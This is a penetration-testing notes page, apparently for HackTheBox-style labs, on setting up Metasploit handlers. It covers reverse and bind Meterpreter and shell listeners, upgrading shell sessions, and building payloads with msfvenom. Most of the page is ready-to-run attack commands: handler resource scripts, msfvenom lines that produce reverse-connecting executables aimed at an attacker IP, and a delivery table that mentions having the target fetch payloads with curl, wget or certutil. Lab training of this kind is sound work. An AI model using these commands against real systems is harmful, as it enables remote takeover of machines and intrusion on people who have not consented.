Handlers and Listeners

This page covers reverse-shell and Meterpreter listeners and upgrades from existing shell sessions. Listening with a handler and upgrading an existing session are separate operations.

Meterpreter handler for reverse connections

Here is a standard Windows reverse Meterpreter setup, suitable for rc/handler_windows_meterpreter_reverse.rc.

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.16.10
set LPORT 4444
set EXITFUNC thread
set ExitOnSession false
run -j

sessions -l

resource ~/lab/msf/rc/handler_windows_meterpreter_reverse.rc

For a temporary Linux reverse Meterpreter handler:

use exploit/multi/handler; run -j verbose=true payload=linux/x64/meterpreter/reverse_tcp lhost=10.10.16.10 lport=4444 exitonsession=false

ExitOnSession false with run -j starts the handler as a background job that can accept multiple sessions.

Standard reverse-shell handler

Use this when waiting for a command shell rather than Meterpreter.

use exploit/multi/handler
set payload windows/x64/shell/reverse_tcp
set LHOST 10.10.16.10
set LPORT 4444
set ExitOnSession false
run -j

For Linux, change the payload.

use exploit/multi/handler; run -j verbose=true payload=linux/x64/shell/reverse_tcp lhost=10.10.16.10 lport=4444 exitonsession=false

For a stageless payload, select shell_reverse_tcp (the single form without a slash). Match the staged or stageless payload placed on the target.

Handler for a bind connection

The target listens, and Kali connects to it.

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 10.10.11.123
set LPORT 4444
set EXITFUNC thread
run -j

For a standard bind shell, change the payload to windows/x64/shell_bind_tcp. NAT, Windows Firewall, and network segments can block the connection, so check reachability first.

Delivering the payload to the target

A handler only waits for a connection. Launching the reverse payload on the target requires a separate path.

Method	Example
Generate and place it with msfvenom	msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... LPORT=... -f exe
Upgrade an existing shell	sessions -u 1 / shell_to_meterpreter
Use an exploit module’s payload	Return Meterpreter or a shell directly from web RCE, for example
Use a fetch payload	Have the target fetch it with curl, wget, or certutil

Minimal msfvenom examples:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.16.10 LPORT=4444 -f elf -o /tmp/rev.elf
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.10 LPORT=4444 -f exe -o /tmp/rev.exe

Start the handler first, then execute the payload on the target.

Upgrading a shell session to Meterpreter

When a reverse or bind shell session already exists:

sessions -l
sessions -u 1
sessions -l

To run the post module explicitly:

run post/multi/manage/shell_to_meterpreter verbose=true session=1 lhost=10.10.16.10 lport=5555 handler=true

handler=true starts a temporary handler in the post module. If another handler already uses the same LPORT, they will conflict; choose a free port.

If the OS is misidentified, set PAYLOAD_OVERRIDE and PLATFORM_OVERRIDE. See SSH / WinRM Login for details.

Checks before listening

1. Does LHOST specify an interface the target can reach (for HTB, usually tun0)?
2. Is LPORT free of conflicts with other processes or handlers?
3. Do the payload’s OS, architecture, and staged or stageless form match the target?
4. Do sessions -l and jobs -l show the expected listener state?

If no session connects back, continue with Troubleshooting.